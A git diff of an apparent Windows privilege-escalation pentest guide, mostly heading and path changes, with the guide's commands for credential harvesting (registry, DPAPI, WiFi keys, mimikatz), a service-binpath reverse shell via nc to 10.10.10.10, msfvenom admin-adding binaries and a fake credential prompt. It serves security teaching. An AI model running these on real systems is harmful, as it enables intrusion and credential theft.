Antivirus and Detectors -## Audit Settings +### Audit Settings These settings decide what is being **logged**, so you should pay attention @@ -283,7 +284,7 @@ These settings decide what is being **logged**, so you should pay attention reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` -## WEF +### WEF Windows Event Forwarding, is interesting to know where are the logs sent @@ -291,7 +292,7 @@ Windows Event Forwarding, is interesting to know where are the logs sent reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` -## LAPS +### LAPS **LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES. @@ -301,7 +302,7 @@ reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled When using LAPS, 2 new attributes appear in the computer objects of the domain: _ms-msc-AdmPwd_ and _ms-mcs-AdmPwdExpirationTime._ These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes... -## WDigest +### WDigest If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). @@ -310,7 +311,7 @@ If active, **plain-text passwords are stored in LSASS** (Local Security Authorit reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## LSA Protection +### LSA Protection Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). @@ -319,7 +320,7 @@ Microsoft in **Windows 8.1 and later** has provided additional protection for th reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -## Credentials Guard +### Credentials Guard **Credential Guard** is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash.\ [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) @@ -328,7 +329,7 @@ reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -## Cached Credentials +### Cached Credentials **Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). @@ -337,7 +338,7 @@ reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## AV +### AV Check is there is any anti virus running: @@ -346,7 +347,7 @@ WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get Get-MpComputerStatus ``` -## AppLocker Policy +### AppLocker Policy Check which files/extensions are blacklisted/whitelisted. @@ -366,7 +367,7 @@ C:\Windows\Tasks C:\windows\tracing ``` -## UAC +### UAC UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user.\ [**More information about UAC here**](../authentication-credentials-uac-and-efs.md#uac). @@ -375,9 +376,9 @@ UAC is used to allow an **administrator user to not give administrator privilege reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ ``` -# Users & Groups +## Users & Groups -## Enumerate Users & Groups +### Enumerate Users & Groups You should check if any of the groups where you belong have interesting permissions @@ -396,7 +397,7 @@ Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -## Privileged groups +### Privileged groups If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here: @@ -404,7 +405,7 @@ If you **belongs to some privileged group you may be able to escalate privileges [privileged-accounts-and-token-privileges.md](../active-directory-methodology/privileged-accounts-and-token-privileges.md) {% endcontent-ref %} -## Token manipulation +### Token manipulation **Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).\ Check the following page to **learn about interesting tokens** and how to abuse them: @@ -413,35 +414,35 @@ Check the following page to **learn about interesting tokens** and how to abuse [privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md) {% endcontent-ref %} -## Logged users / Sessions +### Logged users / Sessions ``` qwinsta klist sessions ``` -## Home folders +### Home folders ``` dir C:\Users Get-ChildItem C:\Users ``` -## Password Policy +### Password Policy ``` net accounts ``` -## Get the content of the clipboard +### Get the content of the clipboard ```bash powershell -command "Get-Clipboard" ``` -# Running Processes +## Running Processes -## File and Folder Permissions +### File and Folder Permissions First of all, listing the processes **check for passwords inside the command line of the process**.\ Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking.md): @@ -457,7 +458,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Checking permissions of the processes binaries** @@ -480,7 +481,7 @@ todos %username%" && echo. ) ``` -## Memory Password mining +### Memory Password mining You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials. @@ -488,13 +489,13 @@ You can create a memory dump of a running process using **procdump** from sysint procdump.exe -accepteula -ma ``` -## Insecure GUI apps +### Insecure GUI apps **Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.** Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" -# Services +## Services Get a list of services: @@ -505,7 +506,7 @@ sc query Get-Service ``` -## Permissions +### Permissions You can use **sc** to get information of a service @@ -530,7 +531,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -## Enable service +### Enable service If you are having this error (for example with SSDPSRV): @@ -552,7 +553,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" sc.exe config usosvc start= auto ``` -## **Modify service binary path** +### **Modify service binary path** If the group "Authenticated users" has **SERVICE\_ALL\_ACCESS** in a service, then it can modify the binary that is being executed by the service. To modify it and execute **nc** you can do: @@ -564,7 +565,7 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -## Restart service +### Restart service ``` wmic service NAMEOFSERVICE call startservice @@ -580,7 +581,7 @@ Other Permissions can be used to escalate privileges:\ **To detect and exploit** this vulnerability you can use _exploit/windows/local/service\_permissions_ -## Services binaries weak permissions +### Services binaries weak permissions **Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking.md))**.**\ You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: @@ -599,7 +600,7 @@ FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Te FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -## Services registry modify permissions +### Services registry modify permissions You should check if you can modify any service registry.\ You can **check** your **permissions** over a service **registry** doing: @@ -621,7 +622,7 @@ To change the Path of the binary executed: reg add HKLM\SYSTEM\CurrentControlSet\srevices\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -## Services registry AppendData/AddSubdirectory permissions +### Services registry AppendData/AddSubdirectory permissions If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** @@ -629,7 +630,7 @@ If you have this permission over a registry this means to **you can create sub r [appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md) {% endcontent-ref %} -## Unquoted Service Paths +### Unquoted Service Paths If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. @@ -666,13 +667,13 @@ You can manually create a service binary with metasploit: msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -## Recovery Actions +### Recovery Actions It's possible to indicate Windows what it should do[ when executing a service this fails](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662\(v=ws.11\)?redirectedfrom=MSDN). If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges. -# Applications +## Applications -## Installed Applications +### Installed Applications Check **permissions of the binaries** (maybe you can overwrite one and escalate privileges) and of the **folders** ([DLL Hijacking](dll-hijacking.md)). @@ -685,7 +686,7 @@ Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,Last Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -## Write Permissions +### Write Permissions Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks). @@ -714,7 +715,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -## Run at startup +### Run at startup **Check if you can overwrite some registry or binary that is going to be executed by a different user.**\ **Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**: @@ -723,7 +724,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac [privilege-escalation-with-autorun-binaries.md](privilege-escalation-with-autorun-binaries.md) {% endcontent-ref %} -## Drivers +### Drivers Look for possible **third party weird/vulnerable** drivers @@ -733,7 +734,7 @@ driverquery.exe /fo table driverquery /SI ``` -# PATH DLL Hijacking +## PATH DLL Hijacking If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. @@ -743,9 +744,9 @@ Check permissions of all folders inside PATH: for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -# Network +## Network -## Shares +### Shares ```bash net view #Get a list of computers @@ -755,7 +756,7 @@ net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -## hosts file +### hosts file Check for other known computers hardcoded on the hosts file @@ -763,7 +764,7 @@ Check for other known computers hardcoded on the hosts file type C:\Windows\System32\drivers\etc\hosts ``` -## Network Interfaces & DNS +### Network Interfaces & DNS ``` ipconfig /all @@ -771,7 +772,7 @@ Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -## Open Ports +### Open Ports Check for **restricted services** from the outside @@ -779,27 +780,27 @@ Check for **restricted services** from the outside netstat -ano #Opened ports? ``` -## Routing Table +### Routing Table ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -## ARP Table +### ARP Table ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -## Firewall Rules +### Firewall Rules [**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(list rules, create rules, turn off, turn off...)** More[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) -## Windows Subsystem for Linux (wsl) +### Windows Subsystem for Linux (wsl) ``` C:\Windows\System32\bash.exe @@ -821,9 +822,9 @@ To easily start bash as root, you can try `--default-user root` You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -# Windows Credentials +## Windows Credentials -## Winlogon Credentials +### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -837,7 +838,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -## Credentials manager / Windows vault +### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so. @@ -870,7 +871,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user: "c:\us Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials\_file\_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault\_password\_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/credentials/dumpCredStore.ps1). -## DPAPI +### DPAPI In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy. @@ -897,7 +898,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root). -## Wifi +### Wifi ```bash #List saved Wifi using @@ -908,19 +909,19 @@ netsh wlan show profile key=clear cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on ``` -## Saved RDP Connections +### Saved RDP Connections You can find them on `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -## Recently Run Commands +### Recently Run Commands ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -## **Remote Desktop Credential Manager** +### **Remote Desktop Credential Manager** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings @@ -929,7 +930,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module -## AppCmd.exe +### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ **AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ @@ -1015,7 +1016,7 @@ function Get-ApplicationHost { } ``` -## SCClient / SCCM +### SCClient / SCCM Check if `C:\Windows\CCM\SCClient.exe` exists .\ Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** @@ -1026,21 +1027,21 @@ if ($result) { $result } else { Write "Not Installed." } ``` -# Files and Registry (Credentials) +## Files and Registry (Credentials) -## Putty Creds +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -## Putty SSH Host Keys +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -## SSH keys in registry +### SSH keys in registry SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys` so you should check if there is anything interesting in there: @@ -1061,7 +1062,7 @@ Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Ser It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication. {% endhint %} -## Unattended files +### Unattended files ``` C:\Windows\sysprep\sysprep.xml @@ -1101,7 +1102,7 @@ Example content\_:\_ ``` -## SAM & SYSTEM backups +### SAM & SYSTEM backups ```bash # Usually %SYSTEMROOT% = C:\Windows @@ -1113,7 +1114,7 @@ Example content\_:\_ %SYSTEMROOT%\System32\config\RegBack\system ``` -## Cloud Credentials +### Cloud Credentials ```bash #From user home @@ -1125,11 +1126,11 @@ AppData\Roaming\gcloud\access_tokens.db .azure\azureProfile.json ``` -## McAfee SiteList.xml +### McAfee SiteList.xml Search for a file called **SiteList.xml** -## Cached GPP Pasword +### Cached GPP Pasword Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file. @@ -1149,7 +1150,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -## IIS Web Config +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue @@ -1177,7 +1178,7 @@ Example of web.config with credentials: ``` -## OpenVPN credentials +### OpenVPN credentials ```csharp Add-Type -AssemblyName System.Security @@ -1199,7 +1200,7 @@ foreach ($item in $items) } ``` -## Logs +### Logs ```bash # IIS @@ -1209,7 +1210,7 @@ C:\inetpub\logs\LogFiles\* Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -## Ask for credentials +### Ask for credentials You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): @@ -1221,7 +1222,7 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U $cred.GetNetworkCredential() | fl ``` -## **Possible filenames containing credentials** +### **Possible filenames containing credentials** Known files that some time ago contained **passwords** in **clear-text** or **Base64** @@ -1300,13 +1301,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -## Credentials in the RecycleBin +### Credentials in the RecycleBin You should also check the Bin to look for credentials inside it To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html) -## Inside the registry +### Inside the registry **Other possible registry keys with credentials** @@ -1319,7 +1320,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -## Browsers History +### Browsers History You should check for dbs where passwords from **Chrome or Firefox** are stored.\ Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there. @@ -1329,7 +1330,7 @@ Tools to extract passwords from browsers: * Mimikatz: `dpapi::chrome` * [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) -## **Generic Password search in files and registry** +### **Generic Password search in files and registry** **Search for file contents** @@ -1356,7 +1357,7 @@ REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -## Tools that search for passwords +### Tools that search for passwords [**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.\ @@ -1371,14 +1372,14 @@ Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -# Leaked Handlers +## Leaked Handlers Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -# Named Pipe Client Impersonation +## Named Pipe Client Impersonation A `pipe` is a block of shared memory that processes can use for communication and data exchange. @@ -1386,13 +1387,13 @@ A `pipe` is a block of shared memory that processes can use for communication an When a **client writes on a pipe**, the **server** that created the pipe can **impersonate** the **client** if it has **SeImpersonate** privileges. Then, if you can find a **privileged process that is going to write on any pipe that you can impersonate**, you could be able to **escalate privileges** impersonating that process after it writes inside your created pipe. [**You can read this to learn how to perform this attack**](named-pipe-client-impersonation.md)**.** -# From Administrator Medium to High Integrity Level / UAC Bypass +## From Administrator Medium to High Integrity Level / UAC Bypass [**Read this to learn about Integrity Levels**](integrity-levels.md) **and** [**this to learn what is UAC**](../authentication-credentials-uac-and-efs.md#uac)**, then read how to**[ **bypass it**](../authentication-credentials-uac-and-efs.md#uac)**.** -# **From High Integrity to System** +## **From High Integrity to System** -## **New service** +### **New service** If you are already running on a High Integrity process, the **pass to SYSTEM** can be easy just **creating and executing a new service**: @@ -1401,53 +1402,53 @@ sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` -## AlwaysInstallElevated +### AlwaysInstallElevated From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ [More information about the registry keys involved and how to install a _.msi_ package here.](./#alwaysinstallelevated) -## High + SeImpersonate privilege to System +### High + SeImpersonate privilege to System **You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** -## From SeDebug + SeImpersonate to Full Token privileges +### From SeDebug + SeImpersonate to Full Token privileges If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ **You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** -## **Named Pipes** +### **Named Pipes** This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ If you want to [**learn more about name pipes you should read this**](./#named-pipe-client-impersonation).\ If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). -## Dll Hijacking +### Dll Hijacking If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ **You can** [**learn more about Dll hijacking here**](dll-hijacking.md)**.** -## **From Administrator or Network Service to System** +### **From Administrator or Network Service to System** {% embed url="https://github.com/sailay1996/RpcSsImpersonator" %} -## From LOCAL SERVICE or NETWORK SERVICE to full privs +### From LOCAL SERVICE or NETWORK SERVICE to full privs **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -# More help +## More help [Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) -# Useful tools +## Useful tools **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](broken-reference/)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](broken-reference/)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](../../windows/windows-local-privilege-escalation/broken-reference/)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](../../windows/windows-local-privilege-escalation/broken-reference/)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\ @@ -1484,7 +1485,7 @@ You have to compile the project using the correct version of .NET ([see this](ht C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -# Bibliography +## Bibliography [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\ [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\ diff --git a/windows/windows-local-privilege-escalation/access-tokens.md b/windows-hardening/windows-local-privilege-escalation/access-tokens.md similarity index 100% rename from windows/windows-local-privilege-escalation/access-tokens.md rename to windows-hardening/windows-local-privilege-escalation/access-tokens.md diff --git a/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md similarity index 100% rename from windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md rename to windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md diff --git a/windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md similarity index 100% rename from windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md rename to windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md diff --git a/windows/windows-local-privilege-escalation/create-msi-with-wix.md b/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md similarity index 100% rename from windows/windows-local-privilege-escalation/create-msi-with-wix.md rename to windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md diff --git a/windows/windows-local-privilege-escalation/dll-hijacking.md b/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md similarity index 100% rename from windows/windows-local-privilege-escalation/dll-hijacking.md rename to windows-hardening/windows-local-privilege-escalation/dll-hijacking.md diff --git a/windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md similarity index 100% rename from windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md rename to windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md diff --git a/windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md similarity index 100% rename from windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md rename to windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md diff --git a/windows/windows-local-privilege-escalation/integrity-levels.md b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md similarity index 100% rename from windows/windows-local-privilege-escalation/integrity-levels.md rename to windows-hardening/windows-local-privilege-escalation/integrity-levels.md diff --git a/windows/windows-local-privilege-escalation/jaws.md b/windows-hardening/windows-local-privilege-escalation/jaws.md similarity index 100% rename from windows/windows-local-privilege-escalation/jaws.md rename to windows-hardening/windows-local-privilege-escalation/jaws.md diff --git a/windows/windows-local-privilege-escalation/juicypotato.md b/windows-hardening/windows-local-privilege-escalation/juicypotato.md similarity index 100% rename from windows/windows-local-privilege-escalation/juicypotato.md rename to windows-hardening/windows-local-privilege-escalation/juicypotato.md diff --git a/windows/windows-local-privilege-escalation/leaked-handle-exploitation.md b/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md similarity index 100% rename from windows/windows-local-privilege-escalation/leaked-handle-exploitation.md rename to windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md diff --git a/windows/windows-local-privilege-escalation/msi-wrapper.md b/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md similarity index 100% rename from windows/windows-local-privilege-escalation/msi-wrapper.md rename to windows-hardening/windows-local-privilege-escalation/msi-wrapper.md diff --git a/windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md 